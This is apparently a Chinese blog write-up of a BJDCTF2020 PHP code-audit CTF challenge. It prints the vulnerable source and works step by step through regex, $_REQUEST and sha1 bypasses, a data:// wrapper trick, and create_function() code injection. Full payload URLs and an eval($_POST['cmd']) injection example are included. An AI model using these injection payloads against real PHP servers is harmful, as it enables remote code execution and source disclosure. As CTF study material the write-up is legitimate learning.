前言

最近经常见到BJDCTF赛题的改版,其中有一道很经典的代码审计题目,写篇博客学习一下

https://github.com/BjdsecCA/BJDCTF2020

在这里插入图片描述


Part 1 (主页)

在这里插入图片描述
打开题目之后是一个网页,并没有和解题有关的信息
在这里插入图片描述
查看源代码后发现注释信息中有提示GFXEIM3YFZYGQ4A=,用base解码后得到信息1nD3x.php
在这里插入图片描述
访问/1nD3x.php得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

Part 2 (绕过QUERY_STRING的正则匹配)

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

关于$_SERVER
url: http://localhost/aaa/index.php?p=222&q=333

结果:
$_SERVER[‘QUERY_STRING’] = “p=222&q=333”;
$_SERVER[‘REQUEST_URI’] = “/aaa/index.php?p=222&q=333”;
$_SERVER[‘SCRIPT_NAME’] = “/aaa/index.php”;
$_SERVER[‘PHP_SELF’] = “/aaa/index.php”;

由实例可知:
$_SERVER[“QUERY_STRING”] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER[“REQUEST_URI”] 获取 http://localhost 后面的值,包括/
$_SERVER[“SCRIPT_NAME”] 获取当前脚本的路径,如:index.php $_SERVER[“PHP_SELF”] 当前正在执行脚本的文件名

审计后续的代码可知有许多参数要传入,而此处的黑名单范围很广,故后续传参是一定需要绕过的,$_SERVER[‘QUERY_STRING’]在读取url时并不会对url进行解码,而$_GET['x']是会进行url解码的,所以我们要把可能出现在黑名单的字符串进行url编码后再传入

Part 3 (换行绕过preg_match)

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

preg_match('/^aqua_is_cute$/', $_GET['debu'])要求debu的值满足正则/^aqua_is_cute$/^$用来表示开头和结尾
$_GET['debu'] !== 'aqua_is_cute'要求debu的值不能强等于'aqua_is_cute'
这里需要用到preg_match的漏洞进行绕过,常见的方法有换行符绕过、pcre最大回溯上限绕过,这里可以直接在结尾加上%0a即换行符,来进行绕过,同时要进行url编码来绕过黑名单,构造如下

1
deb%75=aq%75a_is_c%75te%0a

Part 4 (绕过$_REQUEST的字母匹配)

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

这里的$_REQUEST包括所有以post或者get方式传入的变量,如果含有字母则无法通过,但我们所有的参数构造都离不开字母。
这里的绕过方法主要利用$_REQUEST特性,变量post值会优先于get,我们只要在get传入变量后,再用post方式传入数字值进行覆盖即可
在这里插入图片描述

Part 5 (file_get_contents绕过)

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents可以读取文件内容,但是我们无法在服务器本地找到内容为'debu_debu_aqua'的文件进行读取,而上一部分又过滤了httphttps等协议,也无法进行远程包含,这里考虑使用data协议绕过,记得要编码绕过黑名单。

1
file=data://text/plain,deb%75_deb%75_aq%75a

Part 6 (sha1强比较绕过)

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

很常见的强比较,类似与md5,主要有两种方法,数组绕过和强碰撞,原理可以自行搜索,这里直接数组绕过即可

1
sh%61na[]=1&p%61sswd[]=2

Part 7 (create_function()注入)

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg); //此处存在create_function()注入
} ?>

create_function()注入原理:

create_function()函数有两个参数$args$code,用于创建一个lambda样式的函数,首先可以用create_function()创建一个简单函数

1
2
3
4
5
<?php
$afunc = create_function('$a, $b','return ($a+$b);');
echo $afunc(1,2);
//输出3
?>

以上的函数等价于

1
2
3
4
5
6
7
8
<?php
function afunc($a,$b)
{
return $a+$b;
}
echo afunc(1,2);
//输出3
?>

但由于$code参数可控,可能会存在代码注入

1
2
3
4
5
6
7
8
9
<?php
$aFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['cmd']);//');

function aFunc($a, $b)
{
return $a+$b;
}
eval($_POST['cmd']);//}
?>

而本题的$code('', $arg); //此处存在create_function()注入中可以通过控制$arg来进行代码注入
首先保证传入的$code为create_funtion,
其次是$arg参数,本题中过滤了cat、flag、scan等关键字,无法直接命令执行得到flag的值,在网上查阅后找到了合适的函数get_defined_vars()直接输出所有变量,构造payload如下

1
fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

完整payload为

1
2
3
4
5
6
7
http://eae699b4-88c8-4f9c-865c-e0162d247a20.node4.buuoj.cn:81/1nD3x.php
?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1
&p%61sswd[]=2
&fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}var_dump(get_defined_vars());//

在这里插入图片描述

Part 8 (继续注入)

在这里插入图片描述
网页中出现了一张图片和所有的变量,我们在其中找到flag

1
2
["ffffffff11111114ggggg"]=>
string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"

这个题可以说是有点恶心了,在最后居然还不给flag,还要让我继续访问rea1fl4g.php。。。
在这里插入图片描述
通过网页标题可知,真的flag就在这个文件里,但我们要想办法拿到,可以继续使用get_defined_vars(),但前提是必须包含这个文件。
但在Part 7的黑名单中屏蔽了inc故无法使用include,我们可用require代替。
黑名单还屏蔽了点号,故文件名无法直接输入,可以使用base64将文件名编码绕过
在这里插入图片描述

1
2
3
fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}require(base64_dec%6fde(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
//%6c为url编码的o,为了绕过黑名单

在这里插入图片描述
["f4ke_flag"]=> string(28) "BJD{1am_a_fake_f41111g23333}" }
本来以为到这就结束了,提交后发现又是错的flag,不知道出题人为啥要这样,不过既然只有rea1fl4g.php有真的flag,就只能猜测flag藏在源码里。
要读取源码就要用到php://filter伪协议
需要构造以下payload

1
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);

为了绕过诸多的屏蔽词,选择取反操作

1
2
3
4
5
6
<?php
$a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";

echo urlencode(~$a);
?>
//%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
1
fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

在这里插入图片描述
成功拿到源码,将base64拿去解码可以得到
在这里插入图片描述
得到真的flag

flag{b818582a-d278-4269-9a9d-9782de5ec0c5} //动态flag